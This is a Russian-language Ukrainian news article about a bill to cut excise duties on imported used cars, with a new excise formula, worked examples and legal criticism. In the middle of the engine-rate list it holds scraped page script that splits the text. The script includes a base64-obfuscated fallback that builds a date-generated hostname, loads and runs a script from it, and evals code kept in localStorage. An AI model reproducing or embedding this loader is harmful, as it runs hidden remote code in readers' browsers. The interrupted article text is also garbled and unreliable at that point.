В Верховной Раде разработан и согласован новый законопроект, призванный сделать более доступными подержанные авто.
Законопроектом № 4643-д , который разработали «Слуги народа», предлагается изменить формулу расчета акциза и ввести особые правила для тех, кто не растаможил свой автомобиль вовремя.
В зависимости от возраста авто акциз снизится от 60 до 100%, однако вводится еще базовая ставка, которая зависит от возраста.
Как будут работать новые правила растаможки и кого они коснуться?
Кто может воспользоваться
«Я, как председатель рабочей группы, искал компромиссное решение. Мы предлагаем сделать растаможку проще и дешевле», – рассказал автор законопроекта Александр Ковальчук. Растаможку действительно предлагают удешевить.
Главное «но» – в документе в очередной раз создали особые условия для тех, кто ввез автомобиль и не стал его легализовать. Нарушители вместо штрафов получат возможность сэкономить. А отсюда логичный вопрос: зачем всем тем, кто будет в будущем ввозить автомобили из Европы, растаможивать их, если можно объединиться, выйти на протест под стенами Рады, и получить особые условия.
Кого коснется:
только так называемых «евроблях», ввезенных до 31 декабря 2020-го;срок действия закона – 180 дней с момента принятия;одно авто одной категории на одного человека (одно легковое, одно грузовое, один прицеп);авто должны соответствовать стандарту «Евро-2» (не старше 1999 года) или выше;
Такая норма имеет дискриминационные признаки, уверена юрист Ольга Николаенко. Допустим, два украинца ввезли в один день две иномарки. Оба просрочили срок растаможки, но в 2018-м для них приняли льготные условия и предложили растаможить по специальным условиям. Один уплатил акциз, НДС и пошлину, а второй отказался. Теперь тот, кто не платил, сможет сэкономить сотни евро.
«Может идти речь о неравных и дискриминационных условиях. Для этих лиц уже была предусмотрена норма льготного растаможивания, теперь же, спустя какое-то время, для этой же группы лиц создают еще более льготные условия. Эта проблема уже должна была быть решена», – поясняет юрист.
Как будет считаться акциз по новой формуле
Базовая ставка + коэффициент двигателя + доплата за дизельный двигатель.
Базовая ставка зависит от возраста машины. Если меньше 9 лет, то платить ее вовсе не нужно. Дальше ставки меняются таким образом:
машине до 9 лет – 0 евро;машине 10 лет – 25 евро;машине 11 лет – 50 евро;машине 12 лет – 75 евро;машине 13 лет – 100 евро;машине 14 лет – 125 евро;машине от 15 лет – 150 евро.
Коэффициент двигателя зависит от его объема. Чтобы его просчитать, нужно объем умножить на указанную ниже ставку: var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
ставка для двигателя до 2000 куб. см – 0,25 евроставка для двигателя до 3000 куб. см – 0,2 евроставка для двигателя до 4000 куб. см – 0,25 евроставка для двигателя до 5000 куб. см – 0,35 евроставка для двигателя от 5001 куб. см – 0,5 евро
Доплата за дизель составляет 100 евро. Для примера просчитаем, какой размер акциза на растаможку автомобиля возрастом 8 и 14 лет с бензиновым двигателем 2000 куб. см по старым и новым правилам.
Итак, по новым правилам:
машина возрастом 8 лет – 500 евро;машина возрастом 14 лет – 625 евро.
По старым правилам:
машина возрастом 8 лет – 800 евро;машина возрастом 14 лет – 1400 евро.
Важно также отметить, что по новым правилам пошлину платить не нужно, а НДС надо будет заплатить не со всей стоимости автомобиля, а только с акциза. Александр Ковальчук пояснил: это позволит не только снизить стоимость растаможки, но и ликвидировать схему искусственного занижения стоимости машины. Чтобы сравнить правила, вместо пошлины и полного НДС нужно заплатить еще и разовый «штраф» в размере 8,5 тыс. грн.
«За несколько тысяч гривен эксперт может оценить авто именно на такую сумму, как нужно водителю. Также любой желающий может обратиться к дилеру, и тот выпишет документ, в котором будет указано, что эта машина «нужного» стандарта», – отмечает Ковальчук.
Проблема растаможки тянется в Украине годами
Верховная Рада решила проблему высоких акцизов на ввезенные из Европы машины еще несколько лет назад. Тогда нардеп Нина Южанина разработала и презентовала два законопроекта: один сделал растаможку дешевле для всех, другой – ввел огромные штрафы за нарушение правил.
Логика такого решения понятна: нельзя создавать отдельные условия для какой-то группы населения. Поэтому решили снизить ставки всем, кто хочет ввезти в страну автомобиль. Но и это не помогло, объединение «евробляхеров» фактически превратилось в политическое движение. Они выторговывают себе новые уступки.
Кроме того, эти же активисты могут помочь и ввезти «бляху» в Украину, зная все уловки и лазейки в правилах. Уплата акцизов и налогов – обязанность каждого гражданина. И несмотря на то, что «слуги» в очередной раз предлагают новые послабления, штрафы за управление машиной, которая незаконно находится на территории страны, никто не отменял.
Источник: OBOZREVATEL. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/rastamozhku-avto-kardinalno-izmenyat-skolko-budut-stoit-evroblyahi/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
